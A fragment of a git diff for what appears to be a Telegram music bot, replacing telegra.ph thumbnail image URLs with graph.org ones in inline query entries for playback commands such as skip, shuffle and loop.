thumb_url="https://telegra.ph/file/8a5171024a3bc5569ee3f.jpg", + thumb_url="https://graph.org/file/e642e121a9d93e1ac13ca.jpg", input_message_content=InputTextMessageContent("/resume"), ), InlineQueryResultArticle( title="Sแดษชแดฉ", description=f"sแดษชแดฉ แดสแด แดแดสสแดษดแด แดฉสแดสษชษดษข sแดสแดแดแด แดษด แด ษชแด แดแดแดสแดแด แดษดแด แดแดแด แดs แดแด แดสแด ษดแดxแด sแดสแดแดแด.", - thumb_url="https://telegra.ph/file/8a5171024a3bc5569ee3f.jpg", + thumb_url="https://graph.org/file/e642e121a9d93e1ac13ca.jpg", input_message_content=InputTextMessageContent("/skip"), ), InlineQueryResultArticle( title="Eษดแด ", description="แดษดแด แดสแด แดแดสสแดษดแด แดฉสแดสษชษดษข sแดสแดแดแด แดษด แด ษชแด แดแดแดสแดแด.", - thumb_url="https://telegra.ph/file/8a5171024a3bc5569ee3f.jpg", + thumb_url="https://graph.org/file/e642e121a9d93e1ac13ca.jpg", input_message_content=InputTextMessageContent("/end"), ), InlineQueryResultArticle( title="Sสแดาาสแด", description="sสแดาาสแด แดสแด วซแดแดแดแดแด sแดษดษขs ษชษด แดฉสแดสสษชsแด.", - thumb_url="https://telegra.ph/file/8a5171024a3bc5569ee3f.jpg", + thumb_url="https://graph.org/file/e642e121a9d93e1ac13ca.jpg", input_message_content=InputTextMessageContent("/shuffle"), ), InlineQueryResultArticle( title="Lแดแดแดฉ", description="สแดแดแดฉ แดสแด แดแดสสแดษดแด แดฉสแดสษชษดษข แดสแดแดแด แดษด แด ษชแด แดแดแดสแดแด.", - thumb_url="https://telegra.ph/file/8a5171024a3bc5569ee3f.jpg", + thumb_url="https://graph.org/file/e642e121a9d93e1ac13ca.jpg", input_message_content=InputTextMessageContent("/loop 3"), ), ] diff --git a/README.md b/README.md index d7b88a9..f17e8a0 100644 --- a/README.md +++ b/README.md @@ -1,11 +1,11 @@
-
+